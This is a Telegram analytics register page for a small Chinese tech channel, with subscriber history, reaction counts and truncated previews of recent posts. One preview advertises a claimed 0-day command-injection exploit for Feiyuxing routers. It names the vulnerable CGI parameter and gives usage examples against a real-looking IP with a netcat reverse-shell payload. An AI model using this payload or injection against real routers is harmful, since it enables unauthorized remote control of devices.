省流:没活硬整

Channel
<NullPointerException> 二周目
@NullPointerA
On this record: Topic · Growth · Engagement · Reactions · Posts · Citations · Telegram's recommendations · Cite this entry
900subscribers
+4 since we began measuring on 7 August 2026
Risers and fallers across the register · movement among entries of Under 1,000.
Register entry
| Telegram ID | -1001574515843 |
|---|---|
| Type | Channel |
| Username | @NullPointerA |
| Created | Between 1 August 2021 and 28 February 2023 — estimated from Telegram’s id allocation, not measured. How this range is calculated. |
| First recorded | 8 August 2026 |
| Last confirmed live | 16 September 2026 |
| Measurements held | 6 |
| Confirmed unchanged | 1 time, most recently 16 September 2026 |
| On Telegram | t.me/NullPointerA |
Topic
Other / unclassifiable — a classification, not a measurement. An on-box language model (Qwen3.6-35B-A3B-FP8, prompt version 1) read this channel’s own recent posts on 19 September 2026 and assigned it the closest of 31 fixed categories, at 61% confidence. This is a model’s judgement about what the channel is likely to be about, not a fact this register measured the way a subscriber count or a view count is measured — it can be revised on a later pass, and it carries no weight anywhere else on this page. How this classification works, and why it has no browse page of its own yet.
Growth
| Measured (UTC) | Subscribers | Change |
|---|---|---|
| 16 Sept 2026, 11:56 | 900 | +2 |
| 8 Sept 2026, 08:58 | 898 | +5 |
| 29 Aug 2026, 03:04 | 893 | +3 |
| 14 Aug 2026, 20:48 | 890 | -6 |
| 8 Aug 2026, 01:04 | 896 | no change |
| 7 Aug 2026, 12:50 | 896 | first reading |
Engagement
11 posts held, back to 6 August 2026 — the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 1 page of Telegram’s post history, 20 posts per page.
Nothing published in the last 30 days. ERR and ER are rolling 30-day measures, so there is nothing to compute — we hold 11 posts for this entry, the most recent from 7 August 2026. An engagement rate over an empty window would be a number about nothing.
Reaction mix
13 reactions across 3 posts, in 4 distinct kinds. The most used accounts for 69.2% of them.
| Reaction | Count | Share | Share, drawn |
|---|---|---|---|
| 👏 | 9 | 69.2% | |
| 😇 | 2 | 15.4% | |
| 🎉 | 1 | 7.69% | |
| 👎 | 1 | 7.69% |
No sentiment is inferred, and none should be read in. This table is ordered by count and by nothing else. Emoji do not carry stable meaning across languages or communities — 🙏 is thanks in one channel and mourning in another — so we publish which ones were pressed and how often, and pass no judgement on what an audience meant by them.
Precision. Telegram publishes reaction counts per emoji and short-forms each one — 4.34K, 1.2M — so any single kind at or above 1,000 reaches us at three significant figures, and only counts below 1,000 are exact. The shares above are ratios of those figures and carry the same error. This is also why the total here can differ slightly from a reaction total printed elsewhere on the page: both are sums of the same rounded parts, taken over samples with different edges.
Coverage. Reactions were read on 3 of the 11 sampled posts in this sample. Summed by Telegram’s own count on each post — not by adding up the per-emoji breakdown above — those same posts carry 13 reactions in total: the kind of figure the paragraph above means by “a reaction total printed elsewhere on the page”.
Measured over the 11 most recent posts we hold, published 6 August 2026 to 7 August 2026, using the newest reading held for each. Telegram Stars are excluded: they are a payment, not a reaction, and they have their own section.
Recent posts
via chara
我并不赞同抱着这样的想法去做科研,但是作为一个中国学生,也许这是对的
😇2
TIL: (每日火星) DeepSeek API 早就提供了免费的 web search 接口: Responses API: https://api-docs.deepseek.com/zh-cn/guides/responses_api/#tools — web_search / web_search_2025_08_26 : 支持,服务端执行。 A\ API: https://api-docs.deepseek.com/zh-cn/guides/anthropic_api#message-fields — web_search_tool_result: Supported 使用的供应商应该是 https://open.bochaai.com/, 最终的数据上游依旧是万能的 Bing 相当于免费白嫖 ¥36/千次 的搜索 API, 梁圣的恩情还不完 ✋😭🤚 btw: 冷门 (?) 小知识, Kimi For …
(0-day)飞鱼星路由器 weixin_auth.cgi 命令注入 - 逐字符写入工具 用法: python3 fyx_rce.py <目标URL> [要写入的命令] 示例: python3 fyx_rce.py http://222.88.213.2:8081 "mkfifo /tmp/f;cat /tmp/f|sh|nc 1.2.3.4 6666>/tmp/f" python3 fyx_rce.py http://222.88.213.2:8081 # 使用默认反弹shell命令 利用飞鱼星路由器 weixin_auth.cgi 接口中一个未经授权的远程命令注入漏洞(RCE),漏洞位于 /weixin_auth.cgi 的 extend 参数。CGI脚本在处理该参数时,未对用户输入进行过滤,直接将参数值拼接到系统shell命令中执行。构造 extend=volanswechatconnwifi';<注入命…
好了这下Clash Verge都上央视了 消息来源——央视新闻《从追赶到领跑 中国开源模型深度融入实体经济》相关报道 1:49
👏1
一脚油门直接飞出去了()
- 你这文件上传修了吗 - 如修
典
喜提edumail
👏8🎉1👎1
Photo, posted without a caption
Showing the 11 most recent of 11 posts we hold for @NullPointerA. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked ≈ was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.
Forward network
Republished by
Channels on the register that have forwarded this channel's posts into their own feed.
Republishes
Channels on the register whose posts this channel has forwarded.
Built only from forwarded posts we have actually read, on both sides. Coverage is early and deliberately incomplete: a missing link means we have not read the post that would prove it, never that the relationship does not exist. Counts are distinct forwarded posts observed, so they only ever go up as we read more.
Appears in Telegram’s recommendations for other channels
The reverse of the list above, and a different kind of signal. This does not require this channel to have ever been asked about directly — each row below is a channel we DID ask Telegram about, whose Telegram-generated list happened to include this one. A channel can appear here with an empty list above it, because being named by someone else’s query is independent of having been queried itself.
@fucku_idiot · 40,459
Telegram ranks this channel #24 of 47 here — alongside 46 others — read 30 August 2026
@landiansub · 45,199
Telegram ranks this channel #54 of 58 here — alongside 57 others — read 28 August 2026
This channel appears in 2 seed channels' Telegram-generated recommendation lists in total. Each is Telegram’s list for THAT channel, not this one — see how this is measured.
Cite this entry
A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 16 September 2026 — this entry's latest reading, not the date you are reading this.
“<NullPointerException> 二周目” (@NullPointerA), 900 subscribers as measured 16 September 2026. Telegram Register, tgregister.com/channel/NullPointerA.
Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.